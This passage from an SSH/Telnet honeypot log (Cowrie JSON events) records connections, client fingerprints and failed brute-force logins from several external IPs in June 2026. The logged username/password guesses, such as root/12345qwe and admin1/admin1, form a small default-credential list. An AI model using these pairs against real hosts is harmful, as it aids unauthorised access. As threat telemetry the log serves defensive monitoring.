0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:58.168740Z","src_ip":"91.92.42.227","session":"43cc518590a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.7","message":"Connection lost after 19.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:58.275958Z","src_ip":"91.92.42.227","session":"dbffeafa6b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":38426,"dst_ip":"159.203.135.109","dst_port":22,"session":"d65ec46f186a","protocol":"ssh","message":"New connection: 103.149.28.157:38426 (159.203.135.109:22) [session: d65ec46f186a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:58.546393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:58.549967Z","src_ip":"103.149.28.157","session":"d65ec46f186a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:58.798140Z","src_ip":"103.149.28.157","session":"d65ec46f186a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31071981","message":"login attempt [root/31071981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:59.545396Z","src_ip":"103.149.28.157","session":"d65ec46f186a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42684,"dst_ip":"10.17.0.5","dst_port":22,"session":"52e64978ac26","protocol":"ssh","message":"New connection: 45.156.87.147:42684 (10.17.0.5:22) [session: 52e64978ac26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:59.558512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:59.564315Z","src_ip":"45.156.87.147","session":"52e64978ac26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:59.644804Z","src_ip":"45.156.87.147","session":"52e64978ac26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwe","message":"login attempt [root/12345qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:59.779879Z","src_ip":"91.92.42.227","session":"0f9c511b4dc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:59.897418Z","src_ip":"45.156.87.147","session":"52e64978ac26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:00.796339Z","src_ip":"103.149.28.157","session":"d65ec46f186a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:00.982393Z","src_ip":"45.156.87.147","session":"52e64978ac26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:03.334219Z","src_ip":"91.92.42.227","session":"0f9c511b4dc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42712,"dst_ip":"10.17.0.5","dst_port":22,"session":"aced58778b1e","protocol":"ssh","message":"New connection: 45.156.87.147:42712 (10.17.0.5:22) [session: aced58778b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:05.570999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:05.612551Z","src_ip":"45.156.87.147","session":"aced58778b1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:05.655966Z","src_ip":"45.156.87.147","session":"aced58778b1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34580,"dst_ip":"10.17.0.5","dst_port":22,"session":"a81ebe97c75e","protocol":"ssh","message":"New connection: 91.92.42.227:34580 (10.17.0.5:22) [session: a81ebe97c75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:05.729055Z"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:05.921390Z","src_ip":"91.92.42.227","session":"43cc518590a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:05.999534Z","src_ip":"45.156.87.147","session":"aced58778b1e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:06.789966Z","src_ip":"91.92.42.227","session":"a81ebe97c75e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:06.793256Z","src_ip":"91.92.42.227","session":"a81ebe97c75e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:07.089301Z","src_ip":"45.156.87.147","session":"aced58778b1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":47276,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b51111ade54","protocol":"ssh","message":"New connection: 8.219.200.1:47276 (10.17.0.5:22) [session: 5b51111ade54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:07.629437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:07.634198Z","src_ip":"8.219.200.1","session":"5b51111ade54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:08.054640Z","src_ip":"91.92.42.227","session":"43cc518590a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49804,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c4c00f16749","protocol":"telnet","message":"New connection: 128.199.8.54:49804 (159.203.135.109:23) [session: 9c4c00f16749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:09.655673Z"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123321","message":"login attempt [testuser/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:11.143024Z","src_ip":"91.92.42.227","session":"a81ebe97c75e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":46916,"dst_ip":"10.17.0.5","dst_port":22,"session":"e07aee60c5e2","protocol":"ssh","message":"New connection: 27.71.230.31:46916 (10.17.0.5:22) [session: e07aee60c5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:11.371483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:11.408709Z","src_ip":"27.71.230.31","session":"e07aee60c5e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56650,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebc301a68afc","protocol":"ssh","message":"New connection: 45.156.87.147:56650 (10.17.0.5:22) [session: ebc301a68afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:11.639305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:11.644600Z","src_ip":"45.156.87.147","session":"ebc301a68afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:11.727140Z","src_ip":"45.156.87.147","session":"ebc301a68afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:11.975557Z","src_ip":"45.156.87.147","session":"ebc301a68afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34646,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1e8063add01","protocol":"ssh","message":"New connection: 91.92.42.227:34646 (10.17.0.5:22) [session: d1e8063add01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:12.944251Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:13.063882Z","src_ip":"45.156.87.147","session":"ebc301a68afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:13.147664Z","src_ip":"27.71.230.31","session":"e07aee60c5e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:13.454245Z","src_ip":"91.92.42.227","session":"a81ebe97c75e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:14.040410Z","src_ip":"91.92.42.227","session":"d1e8063add01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:14.044798Z","src_ip":"91.92.42.227","session":"d1e8063add01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user@1","message":"login attempt [root/user@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:15.256031Z","src_ip":"27.71.230.31","session":"e07aee60c5e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:16.516529Z","src_ip":"27.71.230.31","session":"e07aee60c5e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56676,"dst_ip":"10.17.0.5","dst_port":22,"session":"3086413921a2","protocol":"ssh","message":"New connection: 45.156.87.147:56676 (10.17.0.5:22) [session: 3086413921a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:17.896765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:17.901761Z","src_ip":"45.156.87.147","session":"3086413921a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:17.987646Z","src_ip":"45.156.87.147","session":"3086413921a2","protocol":"ssh"}
